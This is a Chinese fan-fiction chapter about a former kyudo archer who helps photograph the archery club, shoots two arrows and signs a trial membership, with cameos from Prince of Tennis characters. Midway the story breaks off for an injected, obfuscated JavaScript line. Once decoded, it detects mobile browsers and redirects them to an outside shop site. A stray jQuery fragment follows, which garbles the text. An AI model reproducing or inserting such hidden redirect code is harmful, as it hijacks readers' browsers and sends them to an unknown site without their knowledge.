藤崎推门进去时，里面正好有人把一张照片拍在桌上。
“春季号不用樱花，还能用什么？”
“校舍。喷泉。新生欢迎会。哪一个不比樱花有新意？”
“去年冬季号已经用了校舍。”
“那迹部君呢？”
房间里安静了一秒。
靠墙坐着的男生抬起头，语气诚恳得近乎挑衅。
“迹部君四季皆宜。”
桌边立刻有人拿文件夹打他。
藤崎熟练地从两人之间绕过去，将相机放回柜子。编辑部比小町想象中拥挤，几张桌子拼在一起，堆满旧刊、照片和没有收好的采访记录。墙上贴着过去几年的封面，春季号几乎都有樱花。
小町看了一眼桌上的三张备选照片。
第一张是主教学楼前的樱花树，取景端正，天气也很好。第二张是黄昏时的校园喷泉，水面被夕阳照成金色。第三张只拍到了迹部的侧脸，他穿着网球部外套，似乎正站在球场边说什么。
拍摄的人离得很远，照片放大以后有些模糊。
“这张不能用。”小町说。
高桥脸上的期待消失了。
“为什么？”
“清晰度不够。”
“照片的重点是氛围。”
“看起来像偷拍。”
桌边有人没忍住笑出声。
“那你有什么方案？”高桥问。
小町翻完桌上的旧照片，从最下面抽出一张弓道场。
照片拍于秋天。射位上的学生刚刚离箭，安土后方的枫叶红了一片。
“社团招新。”她说，“在弓道场拍，背景也有樱花。”
方案很快通过。
弓道部愿意配合拍摄，时间定在周五放学后。藤崎负责拍照，小町原本只需要陪同，却在第二天午休时收到一张临时采访提纲。
“为什么给我？”
“我拍照的时候没办法同时采访。”藤崎把打印纸放在她桌上，“而且你比较了解弓道，不会问出奇怪的问题。”
“比如？”
“弓和箭哪个比较重要。”
小町看着她。
藤崎把提纲向前推了推。
“这是高桥学长写的。”
纸上共有八个问题。
弓道部每周训练几次。
新生是否需要购买装备。
练习弓道对升学是否有帮助。
最后一条是：弓道是不是一种很容易让人平静下来的运动？
小町用笔划掉了它。
“为什么删掉？”藤崎问。
“不一定会平静。”
“大家不是都说弓道可以修身养性吗？”
“大家还说网球是一项优雅的运动。”
前排的向日正好回头。
“网球哪里不优雅？”
“你什么时候过来的？”
“刚刚。”
他手里拿着英语练习册，显然又来找忍足确认答案。听见自己的社团被评价，便停在了旁边。
“网球本来就很优雅。”向日强调。
水野从座位上抬头：“你上周打断了两根球拍线。”
“那是线的问题！”
放学后，天气预报难得准确。四点的阳光从云层后露出来，照在通往弓道场的石板路上。风穿过回廊，吹动藤崎胸前的相机带，也把一小阵樱花送进排水渠。
小町口袋里的弦卷随着脚步轻轻碰着腿侧。早晨换制服时，她明明把它留在桌上，临出门前却又折回房间带上。
藤崎一边检查曝光，一边问：“你以前用多重的弓？”
“十二公斤。”
“能像电视剧里那样拉开以后停很久吗？”
“能。然后手臂会抖，箭也不知道飞去哪里。”
藤崎把这个答案记进备忘录，像是准备以后专门纠正电视剧。
她们在入口处脱下室外鞋，按照标识放进鞋柜。道场里的木地板被阳光切成明暗两半，白色筒袖与深蓝色袴从廊前经过，衣料擦过时发出很轻的沙沙声。
有人提着箭筒从安土方向回来，先在堂前停下行礼；另一组部员背着长弓列队走过，弓梢高出肩头，在门框与树影之间一晃而过。
那不是影视剧里凝固的安静。记录员压低的报数、足袋踩过木地板的摩擦、远处收箭人的笑声都在，等射手举弓，声音才自然而然地落下去。
宫下从休息区迎出来。她穿着白色弓道衣和深蓝色袴，头发束高，右手戴着弽。腰间的袴带把身形收得笔直，走动时下摆仍然很轻。
“小町，好久不见你来道场了。”
“我是来采访的。”
“我知道。”
宫下笑了笑，没有多说。
藤崎出示了编辑部的拍摄许可。几个人确认过不能拍摄的区域和成员后，她便抱着相机去找角度。
道场里的气味没有太大变化。木材、弓蜡、晒过的棉布和安土湿润的土腥气混在一起，比任何照片都更快地把记忆翻了出来。
藤崎出示拍摄许可，宫下带她们确认了不能入镜的区域。小町把采访提纲展开时，道场内正好响起第一声弦音。
“打扰了，宫下学姐。”
藤崎举起相机。小町则将编辑部准备的采访提纲递过去。
问题没有多少。社团训练时间、新生是否需要自备弓具、今年预计招收多少人。宫下回答时，几名部员正依次进入射位。
道场渐渐安静下来。
弓被举至头顶，再缓慢展开。
第一声弦音响起。
箭擦过靶子，扎进后方的安土。
负责记录的部员画下一个叉。射手放下弓，退回原位，脸上没有太明显的表情，只在重新搭箭时多调整了一次手指。
小町看着她的右肩。
抬得太高。
第二箭果然偏向相反的方向。
“看出来了？”宫下问。
小町收回视线：“什么？”
“她的问题。”
“右肩太紧。”
“还有呢？”
“离箭的时候在躲弦。”
宫下笑了一下。
“眼睛还是和以前一样。”
小町低头整理采访纸，没有接话。
藤崎已经找到合适的拍摄位置。她站在道场外侧，连续调整几次焦距，又朝宫下招手。
“学姐，可以拍一张正式射箭的照片吗？”
宫下走上射位。
阳光从开放的廊侧照进来，在木地板上留下一条明亮的边界。风吹过屋檐，几片樱花落进道场，又被部员及时扫到一旁。
宫下举弓，开弓。
弓弦在她胸前展开，右手稳稳停在脸侧。
小町的手指蜷了一下。
弦响。
箭落在靶心偏左的位置。
藤崎立刻低头检查照片。画面里，宫下站在光线与阴影交界的地方，弓身留下清晰的轮廓，几片樱花刚好掠过屋檐。
“可以做封面。”她把相机递给小町，“你看。”
小町只看了一眼。
“嗯。”
“你觉得要不要再拍一组近景？”
“问学姐。”
“那采访记录先放在你这里。”
藤崎抱着相机跑向另一侧。
小町把采访纸对折，站到不妨碍训练的位置。她没有继续看射位，却仍能听见每一次弦音。
清脆的命中声与箭落进安土的闷响交替出现。
只听声音，无法判断下一箭会是哪一种结果。
休息区旁边，几名一年级新生正在练习徒手动作。其中一名女生总是在双臂展开以前放下右手。负责指导她的部员示范了几次，她仍然找不到位置。
宫下看了一会儿，回头叫小町。
“能帮我看一下吗？我去拿橡皮弓。”
“我不是弓道部的人。”
“所以只是帮忙看一下。”
小町没有动。
女生又做了一次。
肩膀提前收紧，右手向后拉得太急，身体也随之向右偏了一点。
小町抿了下唇，还是走过去。
“不是用手臂向两边拉。”
新生停下来，茫然地望着她。
小町抬起双手。
不需要思考，身体已经先一步记起了顺序。双臂举过额前，再向两边展开，肩胛骨缓慢下沉。
“从肩膀中间展开。”她说，“右手不要提前向后。”
女生跟着做了一遍。
仍然不太对。
“再来。”
第三次时，她终于找到了位置。
“是这样吗？”
小町看了看她的肩膀。
“嗯。”
宫下带着橡皮弓回来，手里却还多了一张练习弓。
“既然来了，要不要试一下？”
小町放下手臂。
“不用。”
“只是素引，不搭箭。”
“不用。”
宫下没有劝她，将练习弓竖在一旁，转而帮新生调整动作。
弓身离小町不到半步。
浅色竹木表面经过长时间使用，靠近握把的位置已经变深。弦是新换的，线条绷得很直。
她移开视线。
藤崎还在拍照，一时半会儿不会结束。采访已经完成，她继续留在这里没有意义。
小町正准备出去等，身后忽然传来轻响。
刚才练习的女生碰倒了弓架。宫下扶住其他弓，最外侧那张练习弓却向小町的方向倒下来。
她伸手接住。
弓身落进掌心。
比记忆中轻一点。
大概只有十公斤。
小町握住弓，指腹贴在缠好的握把上。熟悉的触感沿着掌心向上，手腕几乎立刻找回了角度。
宫下扶正弓架，朝她伸手。
“谢谢。”
小町没有马上还回去。
风穿过道场。
弓弦轻轻震了一下。
“只做素引？”她问。
宫下看了她一眼。
“可以。”
小町站到练习区。
她脱下针织外套，折好放在长凳上。衬衫袖口有些窄，她将袖子向上挽了两折，露出手腕。
宫下把弽递给她。
小町低头戴好。
弽比她以前用的大一点，拇指的位置并不完全合适。她活动两次手指，将弓立在身侧。
双脚分开。
调整呼吸。
握住弦。
弓被举至头顶时，道场里的声音似乎远了一些。
她向两边展开手臂。
最初很顺利。
弓弦逐渐靠近脸侧，弓身的力量压进左手虎口。肩膀、手肘、手腕，每一个位置都没有忘记。
小町停在满弓的位置。
没有箭，也没有靶。
她只需要保持动作，再慢慢收回去。
右手却在那一瞬间绷紧了。
弦从拇指侧滑过，发出一声不够干脆的轻响。
小町放下弓。
掌心有些发热。
宫下没有评价她的动作，只问：“再来一次吗？”
“不用了。”
小町摘下弽。
她已经确认过了。
手腕没有问题，肩膀也没有僵硬。即使停了大半年，身体仍记得该如何开弓。
这本该是一件好事。
宫下接过弽，却没有拿走练习弓。
“素引看不出太多。”
小町看向她。
“既然已经碰了，不如射一箭。”
“学姐。”
“一箭而已。”
“不合规定。”
“教练在休息室，临时体验已经取得许可。弓是十公斤，箭也可以用公用的。”
宫下早就准备好了。
小町意识到这一点，反而松开了握弓的手。
“我没有带胸当。”
宫下从架子上取下一副新的。
“还有理由吗？”
小町沉默下来。
道场内的训练正好告一段落。部员们退到休息区，藤崎也抱着相机站在外侧，没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842498|211672||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
靠近。
没人催她。
也没人说“试试看就知道了”。
小町看向远处的靶。
二十八米。
白色靶面中央是一个黑色圆心。距离没有改变，大小也和记忆中一样。
她知道自己应该拒绝。
昨天刚找到弓，今天只是来协助拍摄。重新拿起练习弓已经超出计划，没有必要继续。
可是素引没有结果。
弦放回去以后，刚才的动作究竟算好还是坏，只能由旁观的人评价。她不喜欢这种模糊。
“只射一箭。”小町说。
“好。”
宫下替她取来四支箭。
小町看着箭筒：“这不是一支。”
“备用。”
她最终只抽了一支。
胸当系带从衬衫后方绕过，宫下帮她整理好位置。小町重新戴上弽，走到最靠外的射位。
脚尖与射位线对齐。
搭箭时，她的手指停了一下。
箭尾扣入弦上的声音很轻。
她抬眼看向靶面。
不是比赛。
没有成绩，没有排名，也没有人等待她替队伍拿下最后一分。
只是一次体验。
她可以射偏。
这个念头出现时，小町的肩膀反而僵了一瞬。
她重新调整呼吸，举弓。
开弓的过程比素引更慢。箭杆从左手指节上方穿过，箭尖在视野里划出一道细线。
满弓。
靶心停在远处。
她能感觉到右手拇指的位置并不合适，借来的弽稍微大了一点。风从左侧吹来，但距离不算强。左肩角度正确，手腕也没有偏。
可以离箭。
小町却多停了半秒。
弓弦离开手指。
啪。
箭飞出去，正中靶面。
位置偏右，却仍然落在黑色圆心以内。
藤崎在道场外轻轻吸了口气。
小町保持着离箭后的姿势。
右手停在肩侧。
她看着那支箭，直到箭尾完全停止颤动，才放下弓。
中了。
没有想象中高兴，也没有松一口气。
更像是某件被搁置很久的事情，突然证明它仍然能够继续。
宫下站在她身后。
“还射吗？”
箭筒里剩下三支箭。
小町取出第二支。
动作比第一次快了一点。
搭箭、举弓、开弓。肩膀仍然顺利展开，箭尖停在靶心。
她刚才射中了。
只要保持相同动作，第二箭也应该——
五月二十二日。
二十射，九中。
记录册上几乎划破纸面的圆圈忽然浮现在脑海里。
小町的呼吸乱了一拍。
她试图重新确认左肩，右手便跟着收紧。意识到手指用力以后，她又立刻放松，箭尖在靶面右侧轻轻晃动。
现在应该收弓。
重新来一次。
可射位上没有“重新”。
弦已经离开手指。
箭擦过靶纸边缘，落入安土。
一声闷响。
小町的右手僵在半空。
四周很安静。
她慢慢放下弓。
“弽不合适。”小町说。
话出口以后，她自己先抿住了唇。
宫下看着靶面。
“确实大了一点。”
她没有反驳。
正因为如此，那句话听起来更加像借口。
小町摘下弽，将弓递还给她。
“我不射了。”
“好。”
宫下接过去，仍然没有挽留。
藤崎站在道场外，小心地观察她的表情。小町穿好外套，将袖口拉回原位，又拿起采访记录。
“照片拍完了吗？”
“拍完了。”
“那走吧。”
她的声音与平时没有区别。
两人向宫下和其他部员道别，沿石板路离开道场。
风从道路尽头吹来，樱花落在相机背带上。她伸手拂掉花瓣，没有再提刚才的事。
小町把手伸进口袋。
弦卷还在。
边缘的缺口抵着指腹，稍微有些疼。
她走到校舍前，忽然停下。
“你先回编辑部吧。”
藤崎回过头：“你呢？”
“有东西忘在弓道场。”
“我陪你——”
“不用。封面不是要今晚确定吗？”
藤崎犹豫片刻，将相机抱紧。
“那我在群里发照片给你。”
“好。”
小町沿原路返回。
弓道场的训练已经重新开始。宫下站在休息区记录成绩，看见她出现在入口，并没有表现出意外。
“忘了什么？”
“入部申请。”
宫下悬着笔，墨水在记录纸上洇出一个小小的圆点。
小町从书包里拿出那张对折过的入部申请。折痕正好穿过弓道部的名称。
她没有展开，只将它放到宫下面前。
“临时入部以五个训练日为限，对吧？”
“对。”
“期间不登记正式社团？”
“不算。”
“中途可以退出？”
“可以。”
小町点了点头。
五天，不计入正式社团，中途可以退出。边界划得足够清楚，她暂时找不到拒绝的理由。
她拿起宫下搁在记录夹上的笔，在临时入部栏写下自己的名字。
笔尖划过纸面。
千岛小町。
最后一笔落下时，道场内传来弦音。
这一箭没有命中。
小町抬头看了一眼安土，又低下头，在申请日期旁边补上当天的数字。
“下周一开始。”她说。
宫下把纸夹进记录板，金属夹扣“啪”地合上。
“好。”